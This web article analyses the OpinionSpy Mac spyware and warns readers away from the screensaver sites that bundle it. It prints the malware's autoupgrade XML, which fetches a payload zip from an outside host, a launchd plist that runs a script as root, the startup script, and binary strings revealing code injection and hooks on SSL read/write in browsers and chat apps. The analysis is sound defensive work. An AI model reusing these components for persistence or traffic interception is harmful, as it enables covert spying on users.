About | ACP | Buy | Forum | Industry Watch | Learning Curve | Search | Twitter | Xnews
Home » Learning Curve

Opinion Spy: First Look

Some Mac developers won't be proud.


Buy It

Try It

Kudos to Intego for submitting a list of the apps 'OpinionSpy' comes from. Working from that list it's easy to check out what the malware is and what it does.

A list of infected titles can be found here. Most of the titles come from 7art-screensavers.com. So you sort of know (if you didn't before) that you want to stay away from those lame screensaver sites. (They've been successfully infecting Windows PCs for years.)

The same malware has also been found in 'MishInc FLV to Mp3'. So don't try that one either.

Inside Opinion Spy

Intego reported the malware sneaks in as an additional download and that said additional download is preceded by a user prompt to install a marketing survey application. That being the case, the 'spyware' isn't really stealthware - just some more obnoxious typical spyware. But there's more to OpinionSpy than that.

This particular 'malware' strain uses code from both Brian Hill and Jonathan Rentzsch. It uses code injection and method swizzling. It certainly doesn't look good.

There are two successive web accesses involved. The first is to the following URL.

http://it.kingroutecn.com:8081/rulefiles/rule14.xml

<xml>
    <autoupgrade>
        <package src="http://it.kingroutecn.com:8081/oss/PermissionResearch.zip" restartOSS="false" >
            <file name="%OSSBRANDROOT%\PermissionResearch.app" version="2.3.0.29" />
            <file name="%OSSBRANDROOT%\PermissionResearchUnInstall.app" version="2.3.0.29" />
            <file name="%OSSBRANDROOT%\libglib-2.0.0.dylib" version="2.0.0.0" />
            <file name="%OSSBRANDROOT%\libgthread-2.0.0.dylib" version="2.0.0.0" />
            <file name="%OSSBRANDROOT%\libboost_thread-xgcc40-mt-1_38.dylib" version="1.38.0.0" />
            <file name="%OSSBRANDROOT%\RunPermissionResearch.sh" version="2.3.0.29" />
        </package>
    </autoupgrade>
</xml>

PermissionResearch.zip contains all the goodies. All 11 MB of it.

89 items, 11600066 bytes, 22896 blocks, 0 bytes in extended attributes.

PermissionResearch/libboost_thread-xgcc40-mt-1_38.dylib
PermissionResearch/libglib-2.0.0.dylib
PermissionResearch/libgthread-2.0.0.dylib
PermissionResearch/libintl.8.dylib
PermissionResearch/PermissionResearch.app
PermissionResearch/PermissionResearch.app/Contents
PermissionResearch/PermissionResearch.app/Contents/Info.plist
PermissionResearch/PermissionResearch.app/Contents/MacOS
PermissionResearch/PermissionResearch.app/Contents/MacOS/PermissionResearch
PermissionResearch/PermissionResearch.app/Contents/PkgInfo
PermissionResearch/PermissionResearch.app/Contents/Resources
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Headers
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/mach_inject_bundle
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Resources
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Resources/English.lproj
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Resources/English.lproj/InfoPlist.strings
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Resources/Info.plist
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Resources/mach_inject_bundle_stub.bundle
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Resources/mach_inject_bundle_stub.bundle/Contents
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Resources/mach_inject_bundle_stub.bundle/Contents/Info.plist
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Resources/mach_inject_bundle_stub.bundle/Contents/MacOS
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Resources/mach_inject_bundle_stub.bundle/Contents/MacOS/mach_inject_bundle_stub
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Resources/mach_inject_bundle_stub.bundle/Contents/Resources
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Resources/mach_inject_bundle_stub.bundle/Contents/Resources/English.lproj
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Resources/mach_inject_bundle_stub.bundle/Contents/Resources/English.lproj/InfoPlist.strings
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Versions
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Versions/A
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Versions/A/Headers
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Versions/A/Headers/mach_inject_bundle.h
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Versions/A/mach_inject_bundle
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Versions/A/Resources
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Versions/A/Resources/English.lproj
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Versions/A/Resources/English.lproj/InfoPlist.strings
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Versions/A/Resources/Info.plist
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Versions/A/Resources/mach_inject_bundle_stub.bundle
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Versions/A/Resources/mach_inject_bundle_stub.bundle/Contents
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Versions/A/Resources/mach_inject_bundle_stub.bundle/Contents/Info.plist
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Versions/A/Resources/mach_inject_bundle_stub.bundle/Contents/MacOS
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Versions/A/Resources/mach_inject_bundle_stub.bundle/Contents/MacOS/mach_inject_bundle_stub
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Versions/A/Resources/mach_inject_bundle_stub.bundle/Contents/Resources
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Versions/A/Resources/mach_inject_bundle_stub.bundle/Contents/Resources/English.lproj
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Versions/A/Resources/mach_inject_bundle_stub.bundle/Contents/Resources/English.lproj/InfoPlist.strings
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Versions/Current
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Versions/Current/Headers
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Versions/Current/Headers/mach_inject_bundle.h
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Versions/Current/mach_inject_bundle
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Versions/Current/Resources
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Versions/Current/Resources/English.lproj
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Versions/Current/Resources/English.lproj/InfoPlist.strings
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Versions/Current/Resources/Info.plist
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Versions/Current/Resources/mach_inject_bundle_stub.bundle
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Versions/Current/Resources/mach_inject_bundle_stub.bundle/Contents
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Versions/Current/Resources/mach_inject_bundle_stub.bundle/Contents/Info.plist
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Versions/Current/Resources/mach_inject_bundle_stub.bundle/Contents/MacOS
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Versions/Current/Resources/mach_inject_bundle_stub.bundle/Contents/MacOS/mach_inject_bundle_stub
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Versions/Current/Resources/mach_inject_bundle_stub.bundle/Contents/Resources
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Versions/Current/Resources/mach_inject_bundle_stub.bundle/Contents/Resources/English.lproj
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Frameworks/mach_inject_bundle.framework/Versions/Current/Resources/mach_inject_bundle_stub.bundle/Contents/Resources/English.lproj/InfoPlist.strings
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Info.plist
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/MacOS
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/MacOS/InjectCode
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/PkgInfo
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Resources
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Resources/macmeterhk.bundle
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Resources/macmeterhk.bundle/Contents
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Resources/macmeterhk.bundle/Contents/Info.plist
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Resources/macmeterhk.bundle/Contents/MacOS
PermissionResearch/PermissionResearch.app/Contents/Resources/InjectCode.app/Contents/Resources/macmeterhk.bundle/Contents/MacOS/macmeterhk
PermissionResearch/PermissionResearch.app/Contents/Resources/install.rdf
PermissionResearch/PermissionResearch.app/Contents/Resources/libdompilot3.dylib
PermissionResearch/PermissionResearch.app/Contents/Resources/macmeterPdf.dylib
PermissionResearch/PermissionResearch.app/Contents/Resources/Survey.nib
PermissionResearch/PermissionResearch.app/Contents/Resources/systemtray.nib
PermissionResearch/PermissionResearch.plist
PermissionResearch/PermissionResearchUnInstall.app
PermissionResearch/PermissionResearchUnInstall.app/Contents
PermissionResearch/PermissionResearchUnInstall.app/Contents/Info.plist
PermissionResearch/PermissionResearchUnInstall.app/Contents/MacOS
PermissionResearch/PermissionResearchUnInstall.app/Contents/MacOS/PermissionResearchUnInstall
PermissionResearch/PermissionResearchUnInstall.app/Contents/PkgInfo
PermissionResearch/PermissionResearchUnInstall.app/Contents/Resources
PermissionResearch/PermissionResearchUnInstall.app/Contents/Resources/MainMenu.nib
PermissionResearch/PermissionResearchUnInstall.app/Contents/Resources/uninstallhelpertool
PermissionResearch/RunPermissionResearch.sh
PermissionResearch/upgrade.xml

Note the InjectCode.app bundle - something to make you feel all warm and fuzzy inside - because screen savers always have to inject code, right?

PermissionResearch.plist:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Disabled</key>
    <false/>
    <key>Label</key>
    <string>JobPermissionResearch</string>
    <key>OnDemand</key>
    <false/>
    <key>ProgramArguments</key>
    <array>
        <string>/Applications/PermissionResearch/RunPermissionResearch.sh</string>
    </array>
    <key>UserName</key>
    <string>root</string>
</dict>
</plist>

RunPermissionResearch.sh - a real gem:

#!/bin/sh
MACMETER_PATH=/Applications/PermissionResearch
ACCESSIBILITY_FILE_PATH=/private/var/db/.AccessibilityAPIEnabled
export DYLD_LIBRARY_PATH=$MACMETER_PATH

if [ -f $ACCESSIBILITY_FILE_PATH ]
then
 exec $MACMETER_PATH/PermissionResearch.app/Contents/MacOS/PermissionResearch
else
 touch $ACCESSIBILITY_FILE_PATH
 exec $MACMETER_PATH/PermissionResearch.app/Contents/MacOS/PermissionResearch --DisableAccessibility
fi

Note that it's doing the old Apple '.SoftwareUpdateAtLogout' trick - by putting an file empty file in the root-protected directory /var/db. And that of course means the script expects to be run as root. That of course means that all bets are off.

Now: who would not raise an eyebrow at a screensaver needing root access? Whatever. Somebody called 'huangxianghua' seems to have had a hand in the coding - this seen because 'huangxianghua' didn't know how to make a release build. Now there's a name. And there's even more in the InjectCode and macmeterhk binaries.

0000000000002c20 /Volumes/10.5/Users/huangxianghua/Downloads/Growl-1.2-src/external_dependencies/mach_star/mach_inject_bundle/mach_inject_bundle.
0000000000002d20 /Volumes/10.5/Users/huangxianghua/Downloads/Growl-1.2-src/external_dependencies/mach_star/mach_inject_bundle/../mach_inject/mach
0000000000006cec /Volumes/10.5/Users/huangxianghua/Downloads/Growl-1.2-src/external_dependencies/mach_star/mach_inject_bundle/mach_inject_bundle.
0000000000006de4 /Volumes/10.5/Users/huangxianghua/Downloads/Growl-1.2-src/external_dependencies/mach_star/mach_inject_bundle/../mach_inject/mach
000000000000ad5f  /Volumes/10.5/Users/huangxianghua/Downloads/Growl-1.2-src/external_dependencies/mach_star/mach_inject_bundle/mach_inject_bundle
000000000000ae14 com.rentzsch.mach_inject_bundle
000000000000ae78 /Volumes/10.5/Users/huangxianghua/Downloads/Growl-1.2-src/external_dependencies/mach_star/mach_inject_bundle/../mach_inject/mach
000000000000aef8 _inject.c
000000000000532f /comscore/workingcopy/MacSniffer/OSMIMHK/injector.cpp
0000000000005365 /comscore/workingcopy/MacSniffer/build/OSMIMHK.build/Release/InjectCode.build/Objects-normal/i386/injector.o
00000000000083df /comscore/workingcopy/MacSniffer/OSMIMHK/injector.cpp
0000000000008415 /comscore/workingcopy/MacSniffer/build/OSMIMHK.build/Release/InjectCode.build/Objects-normal/x86_64/injector.o
0000000000026c85 /var/tmp/OSMIMPQ.socket
0000000000026ca4 Safari
0000000000026cab ichatagent
0000000000026cb6 iChat
0000000000026cbc firefox
0000000000026cc4 Security
0000000000026ccd _SSLWrite
0000000000026cd7 _SSLHandshake
0000000000026ce5 _SSLClose
0000000000026cef _SSLRead
0000000000026d24 /comscore/workingcopy/MacSniffer/boost_1_38_0/boost/shared_ptr.hpp
0000000000026d84 /comscore/workingcopy/MacSniffer/OSMIMHK/osmimhk/mach_override.c
00000000000270c5 swizzlesafari
0000000000027490 jr_swizzleClassMethod:withClassMethod:error:
000000000002751f JRSwizzle
0000000000027540 original method %@ not found for class %@
000000000002756c +[NSObject(JRSwizzle) jr_swizzleMethod:withMethod:error:]: 
00000000000275bc alternate method %@ not found for class %@
00000000000275e8 +[NSObject(JRSwizzle) jr_swizzleClassMethod:withClassMethod:error:]
0000000000027630 /comscore/workingcopy/MacSniffer/OSMIMHK/osmimhk/JRSwizzle.m
0000000000027684 /comscore/workingcopy/MacSniffer/algorithm/md5.cpp
00000000000276b8  deflate 1.2.1 Copyright 1995-2003 Jean-loup Gailly 
0000000000027b30 /comscore/workingcopy/MacSniffer/boost_1_38_0/boost/interprocess/offset_ptr.hpp
0000000000027bcc /comscore/workingcopy/MacSniffer/boost_1_38_0/boost/interprocess/mem_algo/rbtree_best_fit.hpp
0000000000027c88 /comscore/workingcopy/MacSniffer/boost_1_38_0/boost/interprocess/mem_algo/detail/mem_algo_common.hpp
0000000000027eb8 /comscore/workingcopy/MacSniffer/boost_1_38_0/boost/intrusive/detail/tree_algorithms.hpp
0000000000027f40 /comscore/workingcopy/MacSniffer/boost_1_38_0/boost/intrusive/detail/utilities.hpp
0000000000027fcc /comscore/workingcopy/MacSniffer/boost_1_38_0/boost/intrusive/rbtree.hpp
00000000000280b8 /comscore/workingcopy/MacSniffer/boost_1_38_0/boost/interprocess/sync/emulation/interprocess_recursive_mutex.hpp
0000000000028870 /comscore/workingcopy/MacSniffer/boost_1_38_0/boost/shared_array.hpp
00000000000289fc /comscore/workingcopy/MacSniffer/boost_1_38_0/boost/range/iterator_range.hpp

MacSniffer is of course Brian Hill's product; the code injection and method swizzling seem to come from a Wolf Rentzsch project. Screen savers don't need code injection or method swizzling.

Finally some good news for PPC Mac users.

$ file PermissionResearch
PermissionResearch: Mach-O executable i386
$ file InjectCode
InjectCode: Mach-O universal binary with 2 architectures
InjectCode (for architecture i386):	Mach-O executable i386
InjectCode (for architecture x86_64):	Mach-O 64-bit executable x86_64
$ file macmeterhk
macmeterhk: Mach-O universal binary with 2 architectures
macmeterhk (for architecture i386):	Mach-O bundle i386
macmeterhk (for architecture x86_64):	Mach-O 64-bit bundle x86_64

So maybe the thing won't completely destroy them. (As parts were built on 10.5 it might not run on Tiger anyway.)

Bottom line:

  1. Don't download any lame screen savers. Seriously. Get a clue.
  2. Absolutely don't download anything from 7art-screensavers.com.
  3. Don't give your pass phrase to a bloody screen saver. Get serious.

Then stay tuned to this site and others for further updates.

See Also
Learning Curve: Here Comes the Opinion Spy!

About | ACP | Buy | Forum | Industry Watch | Learning Curve | Search | Twitter | Xnews
Copyright © Rixstep. All rights reserved.